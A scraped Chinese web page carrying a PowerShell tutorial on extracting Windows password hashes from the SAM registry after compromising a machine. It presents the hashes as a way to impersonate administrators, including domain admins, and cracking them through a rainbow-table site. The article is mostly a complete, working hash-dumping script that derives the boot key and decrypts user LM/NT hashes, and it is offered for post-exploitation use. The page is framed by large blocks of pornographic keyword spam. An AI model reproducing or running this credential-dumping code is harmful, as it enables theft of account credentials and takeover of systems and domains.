亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發(fā) > PowerShell > 正文

PowerShell小技巧之獲取Windows系統(tǒng)密碼Hash

2020-10-29 21:01:48
字體:
供稿:網(wǎng)友

當(dāng)你拿到了系統(tǒng)控制權(quán)之后如何才能更長的時間內(nèi)控制已經(jīng)拿到這臺機(jī)器呢?作為白帽子,已經(jīng)在對手防線上撕開一個口子,如果你需要進(jìn)一步擴(kuò)大戰(zhàn)果,你首先需要做的就是潛伏下來,收集更多的信息便于你判斷,便于有更大的收獲。用什么方法才能有盡可能高的權(quán)限,同時能更有效的隱藏自己,是留webshell,留后門,種木馬還是Rootkit?webshell,哪怕是一句話木馬都很容易被管理員清除,放了木馬,也容易被有經(jīng)驗(yàn)的管理員查出,不管是早期自己創(chuàng)建進(jìn)程,進(jìn)程被干掉就完了,還是注入進(jìn)程的木馬,或者是以服務(wù)自啟動的木馬,哪怕是替換次要的系統(tǒng)服務(wù)自己啟動的木馬,隱蔽性都太差了。不管后門留的如何完美,木馬免殺做的多好,最終還是做不到不留任何痕跡。

那什么方法才能達(dá)到目的,又不容易被發(fā)現(xiàn)呢?以管理員的身份來管理服務(wù)器不就行了么?不管管理員是用3389、pcanywhere、還是radmin管理服務(wù)器,獲取他的密碼,以他的身份進(jìn)入系統(tǒng)不就得了,如果是域管理員密碼,整個域都會在你的控制之下了。獲取密碼的方法除了網(wǎng)絡(luò)嗅探,還可以獲取密碼Hash后通過彩虹表進(jìn)行攻擊,本文將會介紹通過PowerShell獲取Windows系統(tǒng)密碼Hash的方法,有何密碼Hash就離拿到密碼不遠(yuǎn)了。

首先介紹一下windows密碼Hash:

早期SMB協(xié)議在網(wǎng)絡(luò)上傳輸明文口令。后來出現(xiàn)"LAN Manager Challenge/Response"驗(yàn)證機(jī)制,簡稱LM,它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰(zhàn)/響應(yīng)驗(yàn)證機(jī)制,稱之為NTLM?,F(xiàn)在已經(jīng)有了更新的NTLMv2以及Kerberos驗(yàn)證體系。Windows加密過的密碼口令,我們稱之為hash(中文:哈希),Windows的系統(tǒng)密碼hash默認(rèn)情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash與LM-Hash算法相比,明文口令大小寫敏感,但無法根據(jù)NTLM-Hash判斷原始明文口令是否小于8字節(jié),擺脫了魔術(shù)字符串"KGS!@#$%"。MD4是真正的單向哈希函數(shù),窮舉做為數(shù)據(jù)源出現(xiàn)的明文,難度較大。問題在于,微軟一味強(qiáng)調(diào)NTLM-Hash的強(qiáng)度高,卻避而不談一個事實(shí),為了保持向后兼容性,NTLM-Hash缺省總是與LM-Hash一起使用的。這意味著NTLM-Hash強(qiáng)調(diào)再高也是無助于安全的,相反潛在損害著安全性。增加NTLM-Hash后,首先利用LM-Hash的弱點(diǎn)窮舉出原始明文口令的大小寫不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。

Windows系統(tǒng)下的hash密碼格式為:用戶名稱:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用戶名稱為:Administrator
RID為:500
LM-HASH值為:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值為:683020925C5D8569C23AA724774CE6CC

如果你知道這個用戶的hash密碼了,拿著C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網(wǎng)站http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密碼。

下面直接上代碼,然后對代碼簡單做一個解釋,最后演示一下執(zhí)行效果。

復(fù)制代碼 代碼如下:

function Get-WinPassHashes
{
<# Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    # Get windows password hash and returns the hash list
    #.Example
    #   Get-WinPassHashes
    #
    #>

    [CmdletBinding()]
    Param ()
function LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = "SilentlyContinue";
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
    if ($test)
    {
        # already loaded
        return;
     }

$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

        }
    } // end namespace PowerDump

    public class Shift {
        public static int   Right(int x,   int count) { return x >> count; }
        public static uint  Right(uint x,  int count) { return x >> count; }
        public static long  Right(long x,  int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int    Left(int x,   int count) { return x << count; }
        public static uint   Left(uint x,  int count) { return x << count; }
        public static long   Left(long x,  int count) { return x << count; }
        public static ulong  Left(ulong x, int count) { return x << count; }
    }
'@

   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
   $assemblies = @("System.dll", $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   if($compilerResults.Errors.Count -gt 0) {
     $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([int]($s[0]), 1 );
    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function NewRC4([byte[]]$key)
{
    return new-object Object |
    Add-Member NoteProperty key $key -PassThru |
    Add-Member NoteProperty S $null -PassThru |
    Add-Member ScriptMethod init {
        if (-not $this.S)
        {
            [byte[]]$this.S = 0..255;
            0..255 | % -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                }
        }
    } -PassThru |
    Add-Member ScriptMethod "encrypt" {
        $data = $args[0];
        $this.init();
        $outbuf = new-object byte[] $($data.Length);
        $S2 = $this.S[0..$this.S.Length];
        0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
            $i = ($i+1) % $S2.Length;
            $j = ($j + $S2[$i]) % $S2.Length;
            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
            $a = $data[$_];
            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
            $outbuf[$_] = ($a -bxor $b);
        }
        return ,$outbuf;
    } -PassThru
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $false)
}

function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
    $des.Padding = [Security.Cryptography.PaddingMode]::None;
    $des.Key = $key;
    $des.IV = $key;
    $transform = $null;
    if ($doEncrypt) {$transform = $des.CreateEncryptor();}
    else{$transform = $des.CreateDecryptor();}
    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
    return ,$result;
}

function Get-RegKeyClass([string]$key, [string]$subkey)
{
    switch ($Key) {
        "HKCR" { $nKey = 0x80000000} #HK Classes Root
        "HKCU" { $nKey = 0x80000001} #HK Current User
        "HKLM" { $nKey = 0x80000002} #HK Local Machine
        "HKU"  { $nKey = 0x80000003} #HK Users
        "HKCC" { $nKey = 0x80000005} #HK Current Config
        default {
            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = "";
    [int]$hkey=0
    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
        $classVal = New-Object Text.Stringbuilder 1024
        [int]$len = 1024
        if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classVal.ToString()
        }
        else
        {
            Write-Error "RegQueryInfoKey failed";
        }
        [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
    }
    else
    {
        Write-Error "Cannot open key";
    }
    return $result;
}

function Get-BootKey
{
    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM/CurrentControlSet/Control/Lsa/$_"}));
    $b = new-object byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function Get-HBootKey
{
    param([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
    $k = Get-Item HKLM:/SAM/SAM/Domains/Account;
    if (-not $k) {return $null}
    [byte[]]$F = $k.GetValue("F");
    if (-not $F) {return $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
    return ,($rc4.encrypt($F[0x80..0x9F]));
}

function Get-UserName([byte[]]$V)
{
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

function Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    if ($u.HashOffset + 0x28 -lt $u.V.Length)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # LM Hash
    if ($enc_lm_hash)
    {
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }

    # NT Hash
    if ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

    return ,($lmhash,$nthash)
}

function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
    return ,$hash;
}

function Get-UserKeys
{
    ls HKLM:/SAM/SAM/Domains/Account/Users |
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
            Add-Member AliasProperty KeyName PSChildName -PassThru |
            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
            Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}

function DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
        "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
            [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
            [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
    }
}
DumpHashes
}

代碼中定義的函數(shù)Get-WinPassHashes中定義了多個函數(shù),在函數(shù)的最后調(diào)用DumpHashes作為入口函數(shù)。
運(yùn)行效果如下所示

拿著hash速速破解密碼去吧^_^

發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
国产精品高清网站| 九九热国产精品视频| 亚洲欧美日韩综合在线| 亚洲精品偷拍| a天堂中文字幕| 亚洲精品视频一二三区| 午夜精品影院| 最近看过的日韩成人| 久久伊人91精品综合网站| 真实乱偷全部视频| 国产精品无码白浆高潮| 欧洲熟妇精品视频| 另类图片亚洲另类| 国产精品一区二区三区四区| 在线观看日韩精品视频| 欧美成人免费| 国内精品一区二区三区四区| 国产美女久久精品香蕉69| 蜜桃视频动漫在线播放| 亚洲福利在线观看视频| 国产精品亚洲综合在线观看| 九色精品美女在线| 污视频免费在线观看| hd国产人妖ts另类视频| 136福利第一导航国产在线| 456亚洲精品成人影院| 国产v亚洲v天堂无码久久久| 亚洲免费在线视频观看| 久久91精品久久久久久秒播| h视频在线观看免费完整版| 人善交vide欧美| 亚洲视频网在线直播| 亚洲激情视频在线播放| 国产无限制自拍| 亚洲妇女无套内射精| 欧美日本韩国在线| 国产中文日韩欧美| 欧美一区二区三区黄片| 国产精品久久久久四虎| 先锋av资源色| 国产成人精品免费视频大全软件| 免费黄色电影在线观看| 九九九久久久精品| 九九在线高清精品视频| 99在线精品免费| 国产高清中文字幕| 久久五月天小说| 99re这里只有| 日本在线视频网址| 亚洲精品男人的天堂| 欧美高清免费| 黄频在线免费观看| 东方欧美亚洲色图在线| 最近中文字幕在线免费观看| 午夜一级在线看亚洲| 一本一本久久a久久精品综合妖精| av在线看片| 欧美一级片久久久久久久| 精品视频123区在线观看| 中文在线a在线| 国产激情视频网站| 蜜桃视频www网站在线观看| 国产成人免费观看| 国产精品一区视频| 国产精品国产三级国产aⅴ入口| 国产精品手机在线观看| 日韩av不卡在线观看| 国产精品成人99一区无码| 中国日韩欧美久久久久久久久| 日本国产精品视频| 99在线观看免费视频精品观看| 中文字幕欧美一| 亚洲每日在线| 7799精品视频天天看| 一区二区在线视频观看| 狠狠色伊人亚洲综合网站l| 欧美99久久| 97人妻天天摸天天爽天天| 国产精品秘入口18禁麻豆免会员| 波多野结衣 久久| 亚洲 欧美 变态 另类 综合| 成码无人av片在线观看网站| 男人天堂999| 亚洲国产精华液网站w| 六月婷婷七月丁香| 亚洲午夜激情影院| 国产一区二区三区av电影| 4hu永久免费入口| 麻豆免费精品视频| 久久成人人人人精品欧| 免费在线毛片网站| 中国黄色录像片| 色素色在线综合| 老牛嫩草一区二区三区日本| 最近免费中文字幕大全免费第三页| 国产日韩综合av| 久久 天天综合| 亚洲精品国产精品乱码不卡| 在线成人精品视频| 欧美日韩日本国产亚洲在线| 国产精品高潮呻吟| 情se视频网在线观看| 91在线国产剧情| 色悠久久久久综合网小说| 亚洲欧美日本伦理| 精品乱码一区内射人妻无码| 91极品女神私人尤物在线播放| 欧美极品少妇与黑人| 日韩一级在线视频| 国产精品久久..4399| 正在播放一区| 欧美成人一区二区在线观看| 日韩人妻一区二区三区蜜桃视频| 国产精品三级久久久久久电影| 99视频网站| 91久久精品国产91性色69| wwwav在线播放| 人人爽久久涩噜噜噜网站| 亚洲国产电影在线观看| 国产精品专区第二| 永久免费看黄网站| av综合电影网站| 日本一区二区三区电影| 天堂网在线播放| 国产mv久久久| 国产精品入口日韩视频大尺度| 久久精品国产一区二区三区| 奇米精品一区二区三区在线观看| 波多野结衣av一区二区全免费观看| 久久国产精品亚洲77777| 一二三四日本中文字幕| 国产精品一二三视频| 69**夜色精品国产69乱| 久久精品免费一区二区| 免费黄色大片| 日韩一二三在线视频播| 中国女人内谢25xxxx免费视频| 免费在线观看成年人视频| 欧美超级乱淫片喷水| 精品久久久久久中文字幕大豆网| 亚洲欧美制服第一页| 国产亚洲欧美日韩高清| 国产精品日本一区二区不卡视频| 亚洲图片有声小说| 在线观看日韩精品视频| 亚洲h精品动漫在线观看| 男男gaygays亚洲| 先锋资源男人站| 中文字幕第一页av| 超碰免费在线观看| 成人小视频免费在线观看| 久久久久久不卡| 国产99久久精品一区二区300| 国产成人精品a视频| 亚洲国产精品一区二区久久| 欧美日韩精品一二三区| 放荡的美妇在线播放| 欧美在线观看视频一区二区| 91官网在线免费观看| 一本一道久久a久久精品蜜桃| 国产精品国产一区| 99视频在线观看视频| 日韩电影免费观看高清完整版| 女同一区二区| 亚洲小说图片| 97影院在线观看| 在线免费观看色| 99中文视频在线| 天堂av中文在线资源库| 国产精品自产拍在线观看中文| 在线视频日韩精品| 亚洲精品久久久久中文字幕欢迎你| 精品麻豆剧传媒av国产九九九| 高清av免费一区中文字幕| 国产精品九九九九| 中文字幕 自拍偷拍| 精品一区二区三区高清免费不卡| 色之综合天天综合色天天棕色| 国内精品久久99人妻无码| 国产精品区一区二区三区| 美女把尿口扒开给男人桶视频| 欧美一级做性受免费大片免费| 久久er精品视频| 国产噜噜噜噜久久久久久久久| 一本一本久久a久久综合精品蜜桃| 精品一区二区三区日本| 欧美日韩精品高清| 一区二区视频在线播放| 欧美在线视频导航| 热re99久久精品国产99热| 亚洲免费精品视频| yw3121.龙物视频永不失联| 国产精品卡一卡二卡三| 污污网站在线| 午夜不卡影院| 亚洲午夜在线播放| 久久伊人91精品综合网站| 亚洲国产精品午夜在线观看| av在线天堂播放| 91抖音在线观看| 欧美亚洲精品日韩| 好吊妞这里只有精品| 加勒比在线日本| 久久久精彩视频| 欧洲日韩成人av| 91精品国产综合久久久蜜臀粉嫩| 成人在线影视| 麻豆免费在线观看视频| 美女被黑人爆操网站| 日韩电影免费观看高清完整版在线观看| 成人av集中营| 高清免费成人av| gogogo免费高清日本写真| 男人的天堂va在线| 成年人视频在线| 欧美日韩精品在线| 色综合天天综合网天天狠天天| 亚洲人成小说网站色在线| 99re免费视频精品全部| 天天av天天翘天天综合网| 美国成人av| 久久99精品一区二区三区| 538国产精品一区二区在线| 欧美性高跟鞋xxxxhd| 久久99国内精品| 最近日韩中文字幕| 一个人看的www视频免费在线观看| 日本免费在线观看视频| 亚洲免费av片| 精品一区中文字幕| 水蜜桃免费高清视频在线播放| 美女毛片一区二区三区四区最新中文字幕亚洲| 成人avav影音| 牛夜精品久久久久久久99黑人| 日韩成人av电影在线| 国产欧美成人| 九九精品视频在线| 自拍自偷一区二区三区| 亚洲熟妇无码久久精品| 男人艹女人在线观看| 九九热视频在线| 日本视频一区二区在线观看| 国产精品国产三级在线观看| 成人精品影视| 中文久久久久久| 亚洲欧美综合一区| 日韩欧美一中文字暮专区| 欧美成人精品在线播放| 日本一区二区三区国色天香| 国产一区二区三区亚洲综合| 久久中文字幕电影| 在线满18网站观看视频| 久久久.www| 欧美一级淫片007| 91精品人妻一区二区| 国产精品美女久久久久久2018| 日本人妻熟妇久久久久久| 国产精品一国产精品| 精品国产鲁一鲁一区二区张丽| 亚洲国产老妈| 亚洲一区二区三区高清视频| 美女桃色网站| 色哟哟亚洲精品一区二区| 波霸ol色综合久久| 亚洲欧美日韩一区二区三区四区| 91精品在线播放| 四虎精品永久在线| 久久超级碰碰| 亚洲精品欧美激情| 久久久综合网站| 香港日本三级视频| 可以在线观看av的网站| 老牛影视av一区二区在线观看| 免费成人高清在线视频theav| 自拍偷拍亚洲区| 久久99国产视频| 亚洲嫩模一区| 四虎成人在线播放| 91成人在线视频| 极品一区美女高清| 无码人妻丰满熟妇精品区| 国产在线美女| 日韩限制级电影在线观看| 亚洲色图综合| 国产永久免费视频| 国产精品久久久久免费a∨大胸| 日本欧美一区| 在线观看免费黄色小视频| 欧美色图在线视频| 日韩影院在线| 久久精品欧美一区二区| 多野结衣av一区| 337p日本欧洲亚洲大胆张筱雨| 亚洲日本在线视频观看| 精品国产乱码久久久久酒店| 欧美视频一区二区三区| 久久久久久久久久成人| 成人手机电影网| 久久精品无码一区二区日韩av| 精品国产91乱高清在线观看| 欧美,日韩,国产在线| 日韩免费大片| 无码小电影在线观看网站免费| 午夜精品久久久久久久久久蜜桃| 久久精品人成| 免费看污片的网站| 国产精品久久久久av蜜臀| 九九精品调教| 97人澡人人添人人爽欧美| 91麻豆成人精品国产| 麻豆成人在线看| 99热这里只有精品首页| 影音先锋国产资源| 亚洲视频自拍偷拍| 欧美麻豆久久久久久中文| 国产激情在线观看视频| 日韩国产网站| 久久电影国产免费久久电影| 精品国产一区二区三区av片| 亚洲狠狠婷婷综合久久久久图片| 欧美e片成人在线播放乱妇| 川上优的av在线一区二区| 在线视频毛片| 久久草.com| 91网站在线免费观看| 最新一区二区三区| 在线观看日韩| 免费成人性网站|